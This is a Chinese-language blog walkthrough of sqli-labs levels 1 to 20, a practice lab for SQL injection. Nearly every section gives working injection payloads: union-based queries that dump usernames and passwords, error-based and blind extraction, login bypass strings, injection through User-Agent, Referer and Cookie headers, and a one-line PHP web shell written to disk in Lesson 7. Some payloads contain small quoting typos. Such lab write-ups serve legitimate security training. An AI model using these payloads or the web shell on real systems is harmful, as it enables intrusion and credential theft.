sqli-labs通关(1-20)

  • 环境搭建

        Sqli-labs是一个帮你总结大部分SQL注入漏洞类型的靶场,学习SQL注入漏洞原理,复现SQL注入漏洞必备靶场环境,项目地址:https://github.com/himadriganguly/sqlilabs,可以使用phpstudy或者web环境直接搭建运行。

本实验所用到的环境可参考,https://blog.csdn.net/weixin_57827781/article/details/139026296

一、介绍

此关卡中的数据结构:

        Mysql中存在一个数据库information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库。

二、常用注入语句

order by 4 -- -   //判断有多少列 
union select 1,2,3 -- - //判断数据显示点 
union select 1,user(),database() -- - //显示出登录用户和数据库名 
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- - //查看数据库有哪些表 
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- - //查看对应表有哪些列 
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- - //查看账号密码信息

三、常用思路

1、判断注入类型

2、获取数据库信息

3、获取目标信息

4、查询

实验

Lesson1--单引号字符注入

1、判断注入点

输入:id=1' and 1=1 -- -  

(1)修改url值为 .....and 1=2”没有回显,可以利用 ’ 字符注入
(2)确定注入字符后,判断有多少列, 超出列数会报错

输入:id=1' order by 4 -- -

2判断数据显示点(id要改为0或负数),用 UNION 联合查询

输入:id=0' union select 1,2,3 -- -

3、在注入字符后加入前面的sql注入基本语句

(1)爆数据库(版本)名

database() 函数可以回显当前使用的数据库,我们将对它进行查询

输入:?id=-1'union select 1,database(),version()--+

(2)爆表名

使用 group_concat() 函数合并查询结果。information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。结构图如下表

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

(3)爆字段名

当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中,查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

?id=-1'union select 1,2,group_concat (column_name) from information_schema.columns where table_name='users'--+

(4)爆用户名、密码,内容

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

Lesson2--数字型注入

1、判断注入点

输入:?id=1 尝试

?id=1'  使用单引号尝试闭合,发现保错,证明存在漏洞,使用注释再次进行实验

?id=1'--+

注释后,网页仍然不能回显正确的信息。也就是说我们注入的单引号没有起到闭合的作用,这是一个数字型注入。数字型注入和字符型的区别在于我们不需要用单引号去闭合

2、判断表有几列,使用 ORDER BY 子句进行一个排序

第 4 列无回显,说明表中一共有 3 列

3判断数据显示点(id要改为0或负数),用 UNION 联合查询

?id=-1 union select 1,2,3

(1)爆数据库(版本)名

database() 函数可以回显当前使用的数据库,我们将对它进行查询

?id=-1 union select 1,database(),version()

(2)爆表名,使用 group_concat() 函数合并查询结果

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

(3)爆 users 表的字段

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

(4)爆用户名、密码,内容

?id=-1 union select 1,2,group_concat(username ,id , password) from users

Lesson3--’)的字符型注入

1、判断注入点

判断可能是一个括号来闭合   ?id=1')--+

2、判断表有几列,使用 ORDER BY 子句进行一个排序

测试到第 4 列无回显,说明表中一共有 3 列

?id=1') ORDER BY 4--+

3判断数据显示点(id要改为0或负数),用 UNION 联合查询

?id=-1') union select 1,2,3--+

(1)爆数据库(版本)名

?id=-1') union select 1,database(),version()--+

(2)爆表名,使用 group_concat() 函数合并查询结果

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

(3)爆 users 表的字段

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

(4)爆用户名、密码,内容

?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

Lesson4--")字符型注入

1、判断注入点

注入个双引号闭合,MySql 报错,说明存在注入漏洞。?id=1"

尝试注入:?id=1")--+

2、判断表有几列,使用 ORDER BY 子句进行一个排序

?id=1") ORDER BY 4--+   到第 4 列无回显,说明表中一共有 3 列

3判断数据显示点(id要改为0或负数),用 UNION 联合查询

?id=-1'') union select 1,2,3--+

(1)爆数据库(版本)名

?id=-1") union select 1,database(),version()--+

(2)爆表名,使用 group_concat() 函数合并查询结果

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

(3)爆 users 表的字段

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

(4)爆用户名、密码,内容

?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

Lesson5--字符型的错误回显注入

(这里打印了错误信息 ,可以布尔盲注也可以直接报错注入)

1、判断注入点

注入正确的参数,网页返回 “You are in...”,但是没有其他信息

注入个查不到的参数,网页没有任何反应。说明向这个网页传入参数是用于判断 id 值是否存在,如果存在则返回信息。由于网页仅返回存在或不存在,因此我们可以使用 bool 注入

判断是否有 Sql 注入漏洞,注入个单引号进行闭合,网页返回报错信息。这说明网页存在 Sql 注入漏洞,并且是用单引号字符型注入。

2、判断表有几列,使用 ORDER BY 子句进行一个排序

测试到第 4 列未返回 “You are in...”,说明表中一共有 3 列

?id=1' ORDER BY 4--+

3、爆破数据库名,列等信息

(1)通过floor报错
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

其中payload为你要插入的SQL语句,注意该语句将输出

字符长度限制为64个字符

(2) 通过updatexml报错
and updatexml(1,payload,1)

同样该语句对输出的字符长度也做了限制,其最长输出32位,并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

(3) 通过ExtractValue报错
and extractvalue(1, payload)

输出字符有长度限制,最长32位。

爆数据库名示例:

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)or'1'='1

  1. 爆破版本信息
' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

  1. 爆破表名
?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23

  1. 爆破列名
?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 7,1),floor(rand()*2))as a from information_schema.tables group by a%23

        爆破值
?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23

Lesson6--字符型的错误回显注入

注:第六关和第五关几乎相同,只是单引号和双引号的注入,前几部验证类似

使用?id=1"判断报错得出为双引号字符型注入。所以直接将第5关的注入命令在第六关尝试即可。

1、判断注入点以及注入

输入:?id=1"  尝试

(1)爆破数据库名

?id=1’’ and updatexml(1,concat(0x7e,database(),0x7e),1)or'1'='1

爆破版本信息:

' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

(2)爆破列表
?id=1'' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23

(3)爆破值
?id=1'' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23

Lesson7--文件读写注入

1、判断注入点

观察源码看到是))

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

if($row){

    echo 'You are in.... Use outfile......';

}else{

    echo 'You have an error in your SQL syntax';

}

$id被双层括号和单引号包围,URL正确时有提示 用outfile,错误时只知有错误


2、使用文件注入

1')) union select 1,'<?php eval($_REQUEST[23]); ?>',3 into outfile 'D://1.php' -- -

输入完命令后显示物理机有威胁,其实已经是生成.php文件

因为物理机的原因确实是有问题不过原理就是这个原理。

Lesson8--基于布尔的盲注

(按照之前的方法进行尝试即可,本关卡和第五关类似。)

1、判断注入点

注入个单引号进行闭合,网页无任何返回

尝试注释的方式  ?id=1'--+

把后面的内容注释掉,网页返回 “You are in...”。这说明网页存在 Sql 注入漏洞,并且是用单引号字符型注入。同时因为 Sql 语句发生错误时也不报错,因此此处 bool 盲注漏洞

2、判断表有几列,使用 ORDER BY 子句进行一个排序

测试到第 4 列未返回 “You are in...”,说明表中一共有 3 列

?id=1' ORDER BY 4--+

3、爆破数据库名,列等信息

本关卡不会返回提示信息

后台源代码:

(1)基于盲注来测试。

盲注查看数据库的长度,使用length函数盲注,盲注到,长度为 8 时,正确回显,说明长度为 8.

?id=1' and length(database())=8 -- #

(2)盲注得出数据库名 security
?id=1' and (ascii(substr((select database()) ,1,1))) = 115 --+

?id=1' and (ascii(substr((select database()) ,2,1))) = 101 --+

?id=1' and (ascii(substr((select database()) ,3,1))) = 99 --+

?id=1' and (ascii(substr((select database()) ,4,1))) = 117 --+

?id=1' and (ascii(substr((select database()) ,5,1))) = 114 --+

?id=1' and (ascii(substr((select database()) ,6,1))) = 105 --+

?id=1' and (ascii(substr((select database()) ,7,1))) = 116 --+

?id=1' and (ascii(substr((select database()) ,8,1))) = 121 --+  


(3)接着判断表名长度
?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+

(4)判断出表名user

?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 5 --+



?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 117 --+



?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,2,1))) = 115 --+



?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,3,1))) = 101 --+



?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,4,1))) = 114 --+



?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,5,1))) = 115 --+

布尔盲注耗费时间长,建议使用python脚本

注入脚本的方法可参考:https://www.cnblogs.com/wwcdg/p/15913943.html

Lesson9-10--基于时间的盲注

Less 9 和 Less 10 都是时间盲注,主要是利用 IF 语句,结合 sleep() 函数制造时间差来判断sql注入

1、判断注入点

按照之前的方法,实验,页面都返回同样的结果

?id=1'   ?id=9999      ?id=1'--+    ?id=1"    ?id=1"--+

转换思路,sleep() 函数起到休眠的作用。使用sleep函数来实验,使用BP辅助。?id=1' and sleep(1)--+  注入一下参数会看到效果是延迟一秒,原先是缓存2秒。

可以看出这是基于 时间盲注 的字符型 Sql 注入漏洞

2、获取数据库信息

(1)需要用到一个表达式:IF(expr, value1, value2)

当表达式 expr 为真时返回 value1 的值,否则返回 value2。

(2)猜测数据库名长度小于 10 时响应时间超过,所以数据库名长度小于 10

?id=1' AND IF(LENGTH(database())<10,sleep(1),1)--+

(3)经过漫长测试,得出数据库长度为 8。

?id=1' AND IF(LENGTH(database())=8,sleep(1),1)--+

下面盲注数据库名使用left函数:判断数据库名的第一位是否是字符 a,注入之后响应很快说明数据库名第一位不是 a。(时间是2秒 默认响应为2秒)

?id=1' AND IF(LEFT((SELECT database()), 1)='a',sleep(1),1)--+

(4)使用穷举法进行测试,得出数据库名的第一个字符为 “s”。

?id=1' AND IF(LEFT((SELECT database()), 8)='security',sleep(1),1)--+

剩下的库名字段名称都可以使用这种办法盲注(很费时间)

3、注:第十关跟第九关一样,都是基于时间的sql注入

因此第十关可以参考上述步骤完成操作只是将注入的时候单引号改为双引号即可

?id=1" and sleep(1)--+

Lesson11-12--POST方式注入

1、打开Less-11页面

2、在BP上开启拦截,浏览器设置代理,在less-11上输入admin 和密码,回到BP上查看

3、将抓到的数据找到然后放到:重放器中

4、修改表单中提交的内容进行 SQL 注入:加一个反斜杠(转义符),用来转义 passwd 字段的闭合符号,导致SQL语句报错执行失败

5、构造万能密码:'or 1=1 --+&submit=Submit 在点击发送查看效果会显示登录成功

注:(第12关和11关类似,只不过闭合符号不同,为双引号,只需要在其基础上改成双引号即可)

Lesson13--基于’)的错误回显注入

1、判断注入点

根据之前的语句来逐一判断即可,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示登录失败,并返回语法错误的提示信息。

admin' OR 1 = 1#

使用单引号闭合,此时网页提示我们登录成功。因此网页存在字符型注入漏洞,并且使用单引号和括号进行闭合。注意到此时网页并没有返回任何信息,我们需要使用 bool 盲注进行注入。

admin') OR 1 = 1#

uname= qing') or 1=1 -- +&passwd=1&submit=Submit


uname= qing') or ('1')=('1 &passwd= ') or ('1')=('1 &submit=Submit


uname= qing') or 1=1 # &passwd= ') or 1=1 # &submit=Submit

2、爆数据

(1)数据库名
uname= qing') union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as qing from information_schema.tables group by qing # &passwd= ') or 1=1 # &submit=Submit

(2)数据库版本信息
 uname= qing') union select count(*),concat(0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2)) as qing from information_schema.tables group by qing # &passwd= ') or 1=1 # &submit=Submit

(3)当前数据库其他信息
uname= qing') union select 1,2 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= qing') or 1=1 # &submit=Submit

uname= qing') union select 1,2 from (select count(*),concat((select concat(count(*),0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= qing') or 1=1 # &submit=Submit

Lesson14--基于"的错误回显注入

本关卡与13关卡类似,只是闭合符号不同,是双引号,重复上述步骤使用双引号测试即可,思路一样判断注入点,判断出双引号即可注入

暴数据库等信息可参考上一关卡手册

uname= qing" union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as qing from information_schema.tables group by qing # &passwd= ') or 1=1 # &submit=Submit

Lesson15--(基于 bool 型/时间延迟单引号POST型盲注)

1、布尔盲注

打开Less-15页面,回显的是图片,成功则显示successful,失败显示false

打开页面使用BP抓包,找到对应的包放到重定器:

修改字段,sql注入查看效果:

'and (length(database())=8)--+&passwd=admin&submit=Submit

length 函数的使用方法:用于在 MySQL 中计算字段的长度,一个汉字是算 3 个字符,一个数字或字 母算 1 个字符。通过构造一个判断条件 ( length(database()) = 8) 判断目标是否满足条件,满足条件则执行成功,不满足则执行失败。database()是当前数据库名称。length(database())取出数据库名称的长度

< = > 分别为大于、等于、小于,用来判断是否满足条件。用来猜解。

2、时间盲注

构造语句返回的 True 或者 False 来判断数据内容。基于时间的则是使用 if 语句进行判断数值,不符合判断条件则执行 sleep 语句。从而造成页面的响 应时间变长,根据页面的响应时间来判断结果。

打开上述抓到的包可直接修改,注入:

'and (select if(length(database())>1,sleep(3),null))--+&passwd=admin&submit=Submit

示例: sleep(3)表示进程休眠 3 秒。时间可以任意修改。但是为了不影响效率可以尽可能的缩短时间。

因为可以参照考上一步骤查看默认的响应时间为2秒所有所以间隔了三秒。

Lesson16--基于’的POST型注入

1、判断注入点

按照之前的实验步骤,思路测试,注入以下的内容,统统提示登录失败。

a') OR 1 = 1#

 a')) OR 1 = 1#

 a" OR 1 = 1#

发现注入双引号和括号,网页提示登录成功。此处只能通过登录成功或失败来判断注入情况,使用 bool 盲注或者时间盲注都行。    

") OR 1 = 1#

2、获取数据库信息

判断表有几列,使用 ORDER BY 子句对第二列对返回的结果排序,网页返回正常。对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。

uname=a") OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit

(1)数据库长度

根据之前关卡的经验、套路。得出数据库名的长度,使用 length() 函数得出数据库长度为 8。

uname=a") OR LENGTH((SELECT database())) = 8#&passwd=a&submit=Submit

(2)获取数据库名

使用 substr() 函数截取数据库名的每个字符,然后使用 ASCII() 函数判断这个字符的 ASCII 码值。使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。通过相同的方式进行测试,最后得出数据库名为 “security”。使用同样的方法继续爆出表名、字段名及其剩余信息。

uname=a") OR ASCII(SUBSTR((SELECT database()),1,1))=115#&passwd=&submit=Submit

Lesson17--基于’的POST型注入

难点在于关卡有 2 个 SQL 语句,其中一个进行了强效的过滤,我们得想办法发现第二个注入点。同时该关卡可以使用报错注入进行攻击。

1、判断注入点

看到是更改密码的页面,输入用户名之后用新密码覆盖旧密码,输入完以后切换11关卡测试

接下来使用单引号闭合构造恒真条件,网页回显密码修改失败。

a' OR 1 = 1#

测试其他的sql注入语句也都是失败

a') OR 1 = 1#

a')) OR 1 = 1#

a" OR 1 = 1#

 a") OR 1 = 1#

 a")) OR 1 = 1#

下面我们使用BP抓包测试,对新密码字段进行闭合测试,使用单引号闭合仍然失败。但是以下注入还是失败。

uname=a&passwd=a')#&submit=Submit

uname=a&passwd=a'))#&submit=Submit

uname=a&passwd=a"#&submit=Submit

uname=a&passwd=a")#&submit=Submit

uname=a&passwd=a"))#&submit=Submit

换下思路,之前我们的用户名字段都是随便输入的,现在我们写上一个已知的用户名 admin 再次注入

uname=admin&passwd=a'&submit=Submit

此时我们发现这里的现象,报错提示了。推测这个关卡有 2 次查询,第一次是根据 uname 参数进行查询,判断要改密码的用户是否存在。第二次查询时根据要改密码的用户,把 passwd 参数覆盖原密码,这里在第二次查询有注入点。

2、updatexml() 报错注入

接下来使用 updatexml() 报错注入,该函数用于改变 XML 文档中符合条件的节点的值

3、获取数据库信息

(1)利用 updatexml() 报错回显数据库名

uname=admin&passwd=' OR updatexml(1,concat("!",database()),2)#&submit=Submit

(2)爆表名

uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)#&submit=Submit

其中XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。

(3)爆字段名
uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)#&submit=Submit

4、获取目标信息

使用报错注入回显用户名和密码,但是网页回显报错。

先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据

uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))#submit=submit

通过修改 LIMIT 子句的返回行数,就能取出其他行的查询结果。

uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 1,1)),1))#submit=submit

本关卡源码:

Lesson18--User-Agent 注入

源码分析:

可以发现代码中对用户的输入进行了过滤,但是并没有对HTTP头信息进行过滤,此时我们对HTTP头中的 User-Agent 进行修改,从而进行SQL注入攻击。打开Less-18截获数据包进行修改,输入用户名和密码截取(注意需要输入admin admin 正确的)修改 User-Agent 字段 添加一个 ’ 单引号

我们可以发现是可以注入的有回显信息(当然我们是实验)。

查询数据库版本信息

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

updatexml  //第一个参数和第三个参数随意写的,第二个参数使用连接查询数据,第二个参数我们查询的字符串不满足 Xpath 格式所以报错

0x7e    //是波浪号 ~ 可以修改成其他符号的 16 进制,或者也可以删掉

Lesson19--Referer 注入

源码分析:

跟上一关类似,但是这里的uagent 换成了 HTTP_REFERER所以同样存在注入,也支持 updatexml 

打开Less-19页面 使用BP抓包并放到重定器:在referer头部输入单引号测试注入点 ,回显查看

示例:报错注入

Referer:http://192.168.37.136/sqli-labs/Less-19/'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1

示例:盲注测试

Referer: http://192.168.37.136/sqli-labs/Less-19/'or(length(database()))=9 or if(1=1,sleep(3),null) or '1'='1

(length(database())) =9 or if(1=1, sleep(3), null) or '1' = '1 #语句中三个条件都为逻辑或当第一个条件不成功时,再执行第二个条件,第二个条也不成功时,则执行第三个。其中有一个条件执行成功时,则不会向后继续执行。

(length(database())) =9 条件不成功,而后执行了 if(1=1, sleep(3), null)条件,该条件中的判断为 1=1,结果永远都是为真的,而后执行 sleep(3),最终页面响应时间是 3 秒

Lesson20--Cookie 注入

打开Less-20页面 使用BP抓包并放到重定器:

在抓到的cookie这里使用万能密码测试注入点:‘or’1’=1='1 判断

使用 updatexml 报错注入获取数据库名称

Cookie: uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1

可以获取到当前的数据库名称

获取数据:

示例:

' union select 1,2,group_concat(username,0x7e,password)from security.users -- #

示例:

' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users# -- #

  • 45
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值